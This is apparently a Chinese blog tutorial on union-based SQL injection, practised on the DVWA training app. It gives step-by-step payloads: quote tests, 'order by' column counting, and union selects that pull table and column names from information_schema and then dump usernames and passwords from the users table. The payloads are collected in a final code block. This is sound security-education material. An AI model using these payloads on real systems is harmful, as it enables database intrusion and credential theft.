当前位置: 首页 > news >正文

CTF-SQL注入

网站结构

  • 表示层:前端 用户可以输入

  • 业务逻辑层:后端

  • 数据访问层:数据库

SQL注入分类

联合查询注入

判断漏洞是否存在

注入流程:

  • 判断是否有注入

  • 判断注入类型

  • 利用order by或group by 判断列数

  • 1‘ order by 2 # 作用:与前一个select 列数保持一致

  • select username,password from users where id='1'order by $2 #' 判断表的列数

  • union联合查询

  • select * union select * 后面的select会接着在第一个select的后面输出,不会另起一行

  • 前面输入两列,后面也要输出两列,要保持一致

SQL注入流程:

  1. index.php中的sql语句

  2. select username,password from users where id='$id'

  3. 正常输入id=1

  4. 输入’ “ 查看有没有注入,id=1' id=1"

  5. 字符类型:判断注入类型---id=1 and 1=1 没有报错 id=1 and 1=2 没有报错

  6. 数字类型:判断注入类型---id=1 and 1=1没有报错 id=1 and 1=2 报错

  7. 判断数据库表的列数:

  8. 字符型:id=1' order by 3#

  9. select username,password from users where id='1' order by 3#'

  10. 数字型:id=1 order by 3

  11. select username,password from users where id=1 order by 3

后面就以DVWA中SQL injection为例

开始!!!

第一步判断是否有注入

报错回显

这里可以确实是有注入的,是单引号,'

那么这里就该判断数据库表的列数,这里用order by ,也可以用group by ,那么就开始了

这里是说没有第三列的意思,

这里我们来解释一下,为什么要输入1' order by 3#

这里因为没有找到源码的sql语句,但是其实都一个意思,username,passowrd列数,正好是2列

select username,password from users where id='$id'

然后我们输入的值一般都在$id就是引号里面,然后我们把1' order by 3放在这个id里面,

select username,password from users where id='1' order by 3#'

这里我们知道了列数之后,就可以继续查数据库里的表了

这里查表要利用union,联合查询

union:可以通过加union,查询多个语句,执行多个语句,话不多说,直接上手

这里最好把这个sql源码拿出来,这样可以更好的帮你理解

select username,password from users where id='$id'

输入1' union select 1,2#

继续查表数据库的版本和当前数据库分别是version(),database(),user()查看用户

输入 1' union select version(),database()#,位置都是一一对应的,版本信息,当前数据库

这里我们记录一下,当前数据库dvwa

继续查表table_name

输入 1' union select version(),table_name from information_schema.tables where table_schema='dvwa'#

information_schema是MySQL自带的一个特殊数据库,它提供了关于其他数据库的元数据信息,如数据库名、表名、列的数据类型、访问权限等。具体介绍可以在网卡搜

把users这个表记着,等会要用

然后我们利用这个表名,再查列名 column_name

输入 1' union select version(),group_concat(column_name) from information_schema.columns where table_schema='dvwa'and table_name='users'#

这里我们用了一个函数,group_concat(),这个函数你们可以在网卡搜一下,就是把查到的列放在一个数组里面,大白话,就是都放一块,好看一些

好,数据库,表名,列数,我们都知道了,这个时候我们可以直接指定某个数据库查某个表了,

费话不说,开始!!

以下代码就是正常的sql语句了

这里我们查user,password

输入 1' union select version(),group_concat(user,'-',password) from users#

OK!到这里就结束了!如有不懂可以在评论区问我!!看到一定回的

完整代码

select username,password from users where id='$id' 
开始注入:
id=1
select username,password from users where id='1' 
id=1'
select username,password from users where id='1''
id=1 and 1=1 or id=1 and 1=2 如果都没报错,那么就是字符类型
select username,password from users where id='1 and 1=1'
select username,password from users where id='1 and 1=2'
1' order by 3 
select username,password from users where id='1' order by 3#'
1' union select 1,2#
select username,password from users where id='1' union select 1,2#'
1' union select database(),user()#
select username,password from users where id='1' union select database(),user()#'
1' union select database(),table_name from information_schema.tables where table_schema='dvwa'#
select username,password from users where id='1' union select database(),table_name from information_schema.tables where table_schema='dvwa'#'
1' union select database(),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#
select username,password from users where id='1' union select database(),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#'
1' union select user,password from users#

相关文章:

  • Go:接口
  • 大风频繁,疾风气象大模型竞速:AI如何提前10天预测极端天气?
  • Spark SQL
  • C++ 用红黑树封装map/set
  • PD-1 功能性抗体知多少
  • 静态代码扫描概述
  • 【数据标准】数据标准化-现状分析及评估
  • 信息系统项目管理工程师备考计算类真题讲解二
  • 【补题】Codeforces Round 857 (Div. 1) A. The Very Beautiful Blanket
  • 如何开发一套场外个股期权交易系统?个股期权交易软件包含:询价,报价,交易,持仓,行权,账户盈亏统计等
  • 金融行业 AI 报告自动化:Word+PPT 双引擎生成方案
  • 【指纹浏览器系列-chromium编译】
  • OpenCV图像处理进阶教程:几何变换与频域分析全解析
  • CExercise_10_5指针高级_1 1.按照字符串的长度,从长到短排序 2.先按照字符串的长度从短到长排序,长度一致的字符串按照字典顺序排序。
  • 《鸿蒙软总线:基于UDP的数据传输奥秘与优势》
  • Redis持久化策略
  • Java 多线程编程之原子类 AtomicInteger(构造方法、常用方法、高级操作方法)
  • x265 编码参数 maxNumReferences 详细解析与实验
  • 散户使用算法交易怎么做?
  • 集中趋势描述
  • 甘肃古浪县发生3.0级地震,未接到人员伤亡和财产损失报告
  • 影子调查丨义门陈遗址建筑被“没收”风波
  • 天工摘得全球首个人形机器人半马冠军:中国机器人产业正努力跑向人机共生社会
  • 长安汽车辟谣抛弃华为,重奖百万征集扩散不实内容的背后组织
  • 上海浦东:顶尖青年人才最高可获700万元资助及1亿元项目补贴
  • 对话|听老婆的话,UFC“下山虎”张名扬的铁汉柔情